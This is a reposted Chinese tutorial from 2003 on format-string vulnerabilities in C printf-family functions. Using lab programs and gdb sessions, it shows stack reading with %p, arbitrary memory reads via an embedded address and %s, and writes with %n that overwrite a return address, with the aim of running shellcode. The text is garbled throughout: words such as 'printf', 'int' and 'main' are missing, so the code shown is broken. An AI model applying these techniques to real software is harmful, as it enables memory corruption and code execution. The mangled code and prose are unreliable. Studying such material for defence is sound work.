专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »安全 » formatstring漏洞:Format String 漏洞介绍/整理总结(一) »正文

formatstring漏洞:Format String 漏洞介绍/整理总结(一)

来源: 发布时间:星期六, 2009年9月12日 浏览:3次 评论:0
Format String 漏洞介绍/整理总结()
bkbll([email protected])
2003/4/8
其实这篇文章没什么技术含量format (格式化串)漏洞很久很久就被研究透了scut篇pd文档属于非常详细介绍/入门级文章但是全英文以及里面例子有些解释不彻底 以及有些例子已经不能使用了所以这里想大致整理总结并给出实验好环境和代码.(实验平台:rh8.0,gcc自带版本)
Format 漏洞般是由以下几个引起:
o fprf - 输出到文件句柄
o prf - 输出到终端
o sprf - 输出到
o snprf -输出指定长度到
o vfprf - pr to a FILE stream from a va_arg structure
o vprf - prs to 'stdout' from a va_arg structure
o vsprf - prs to a from a va_arg structure
o vsnprf - prs to a with length checking from a va_arg structure
Relatives:
o proctitle - argv
o syslog - output to the syslog facility
o 其他比如 err*, verr*, warn*, vwarn*

在使用这些时候如果指定了format格式是不存在任何问题但是如果员偷懒没指定format而直接输出串内容就导致格式化串漏洞发生比如:
char *buffer;
……………….
prf("%s\n",buffer);
这段是不会产生串格式化漏洞但是下面这个:
char *buffer;
…………..
prf(buffer);
如果buffer可以由用户控制就会导致格式化串漏洞发生
类似还有:
syslog (LOG_NOTICE, buf);
fprf(FILE *stream,buffer);
sprf(char *,buffer);
snprf(char *,strlen(),buffer)
vfprf(File *stream,buffer);

1. 漏洞产生/介绍
我们选用应用最普遍prf来解答format 漏洞原理:
我们知道个标准正常prf格式化和参数应该是对应比如:
prf("%s%d%x\n",(char *),()num,()hexnum);
有几个%s等后面就应该有几个参数这样才可以显示该参数内容但是如果有了格式化如果没有跟参数prf会如何处理呢?
[bkbll@mobile format]$ cat 6.c
{ prf("%p %p %p %p %p %p\n"); }
%p表示按指针格式显示结果,我们编译运行下看看:
[bkbll@mobile format]$ gcc -o 6 6.c
[bkbll@mobile format]$ ./6
0x4212a2d0 0xbffffaf8 0x8048246 0x4200aec8 0x4212a2d0 0xbffffb18
显示大堆内存数据, 我们看看这些数据到底放在哪里:
[bkbll@mobile format]$ gdb -q 6
(gdb) b
Breakpo 1 at 0x804832e
(gdb) r
Starting program: /home/bkbll/format/6

Breakpo 1, 0x0804832e in
(gdb) x/i prf
0x42052390 <prf>: push %ebp
(gdb) b *0x42052390
Breakpo 2 at 0x42052390
(gdb) c
Continuing.

Breakpo 2, 0x42052390 in prf from /lib/i686/libc.so.6
(gdb) x/8wx $esp
0xbffffacc: 0x08048345 0x08048394 0x4212a2d0 0xbffffae8
0xbffffadc: 0x08048246 0x4200aec8 0x4212a2d0 0xbffffb08
(gdb)
从这里我们看到, prf入口在0x42052390, 我们分析下堆栈数据结构:
当系统某个时候,首先会将参数压入堆栈, 最后把返回地址压入堆栈, 上面0x08048345是prf返回地址, 也就是在里面prf后下条要执行指令.0x08048394存放是我们给prf参数:
(gdb) x/s 0x08048394
0x8048394 <_IO_stdin_used+4>: "%p %p %p %p %p %p\n"
由于我们给prf了很多格式化%p,但是又没给上相应参数, 系统认为紧跟格式化串后面数据即为prf参数,所以就按照%p格式打印在了终端上.
如果我给出了足够多%p, 是否可以直打印数据到0xbfffffff呢? 答案是肯定, 这个不段用%p显示内存数据就是在scutpdf上讲到stack popup涵义.
好,我们现在可以显示prf堆栈以上内容了, 但是我们可以显示任意内存地址内容吗? 我们看以下事例:
[bkbll@mobile format]$ cat 7.c

{
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %p %p %p\n");
prf(buffer);

}
[bkbll@mobile format]$ gcc -o 7 7.c
[bkbll@mobile format]$ ./7
AAAA0x8048458 0x4200dbb3 0x420069e8 0x41414141 0x25207025 0x70252070
0x41414141就是我们写AAAA16进制码, 如果我把显示0x41414141%p换成%s, 不是就可以显示0x41414141地址内容呢?
[bkbll@mobile format]$ cat 8.c

{
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %s %p %p\n");
prf(buffer);

}
[bkbll@mobile format]$ gcc -o 8 8.c ;./8
Segmentation fault
, 我们跟踪下:
[bkbll@mobile format]$ gdb -q 8
(gdb) r
Starting program: /home/bkbll/format/8

Program received signal SIGSEGV, Segmentation fault.
0x4207a4cb in strlen from /lib/i686/libc.so.6
(gdb) disass $eip $eip+4
Dump of assembler code from 0x4207a4cb to 0x4207a4cf:
0x4207a4cb <strlen+11>: cmp %ch,(%eax)
0x4207a4cd <strlen+13>: je 0x4207a56a <strlen+170>
End of assembler dump.
(gdb) i reg ecx eax
ecx 0x1 1
eax 0x41414141 1094795585
(gdb) x/bx $eax
0x41414141: Cannot access memory at address 0x41414141
Oh,我们没有权限访问0x41414141这个地址,所以系统提示段.
那我们换个我们可以访问地址吧:
[bkbll@mobile format]$ cat 9.c

{
char buf1="hello,world";
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %s %p %p\n");
buffer[0]=()buf1 & 0xff;
buffer[1]=(()buf1 >> 8) & 0xff;
buffer[2]=(()buf1 >> 16) & 0xff;
buffer[3]=(()buf1 >> 24) & 0xff;
prf(buffer);

}
[bkbll@mobile format]$ gcc -o 9 9.c ; ./9
帔?x80484cc (nil) (nil) hello,world 0x25207025 0x70252070
我们输出了hello,world串, 而这个地址是我们替换了AAAA数据得到.
从上面例子我们可以看出通过精心构造buffer, 我们可以显示任何地方数据, 也就是所谓:read anywhere.
能读数据虽然可以得到很多东西,但结构并不是我们想要, 我们要可写才可以控制这个流程, 才能运行我们shellcode.
prf系列提供了%n格式, 用来把显示数据长度写进变量里面, 比如:
[bkbll@mobile format]$ cat 10.c

{
i=0;
prf("before prf,i:%d\n",i);
prf("hello,word\n%n",&i);
prf("after prf,i:%d\n",i);
}
[bkbll@mobile format]$ gcc -o 10 10.c;./10
before prf,i:0
hello,word
after prf,i:11
我们把prf输出长度写到了变量i里面,所以i值变成了11,既然可以写, 那我再试试可不可以写到其他地方,我们试下写到返回地址里面:
[bkbll@mobile format]$ gdb -q 10
(gdb) x/i
0x8048328 <>: push %ebp
(gdb) b *0x8048328
Breakpo 1 at 0x8048328
(gdb) r
Starting program: /home/bkbll/format/10

Breakpo 1, 0x08048328 in
(gdb) x/wx $esp
0xbffffaec: 0x420158d4
我们得到了返回地址在0xbffffaec处.
Ok, 我们修改:
[bkbll@mobile format]$ cat 11.c

{
i=0xbffffaec;
prf("hello,word\n%n",i);
}
[bkbll@mobile format]$ gcc -o 11 11.c
[bkbll@mobile format]$ gdb -q 11
(gdb) r
Starting program: /home/bkbll/format/11
hello,word

Program received signal SIGSEGV, Segmentation fault.
0x0000000b in ??
(gdb) i reg eip
eip 0xb 0xb
(gdb)
ok,我们已经成功把数据写到了返回地址那里, 0x000000b显然是个不可以执行地址, 所以会报错.
联想下,结合前面read anywhere和这里写, 我们是否可以动态写数据到任何地址呢?
[bkbll@mobile format]$ cat 12.c

{
buf1=0xbffffaec;
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %n %p %p\n");
buffer[0]=()buf1 & 0xff;
buffer[1]=(()buf1 >> 8) & 0xff;
buffer[2]=(()buf1 >> 16) & 0xff;
buffer[3]=(()buf1 >> 24) & 0xff;
prf(buffer);

}
[bkbll@mobile format]$ gcc -o 12 12.c
[bkbll@mobile format]$ gdb -q 12
(gdb) r
Starting program: /home/bkbll/format/12
禚?x80484b0 (nil) (nil) 0x25207025 0x70252070

Program received signal SIGSEGV, Segmentation fault.
0x0000001a in ??
(gdb) x/wx 0xbffffaec
0xbffffaec: 0x0000001a
(gdb) i reg eip
eip 0x1a 0x1a
我们成功覆盖了返回地址
利用prf格式化串漏洞我们可以write-anywhere, read anywhere有了这两个条件后想执行我们shellcode还不是简单事情吗?



  • 篇文章: 入侵时隐藏自己真正身份

  • 篇文章: 脚本攻击例子
  • 0

    相关文章

    读者评论

    发表评论

    • 昵称:
    • 内容: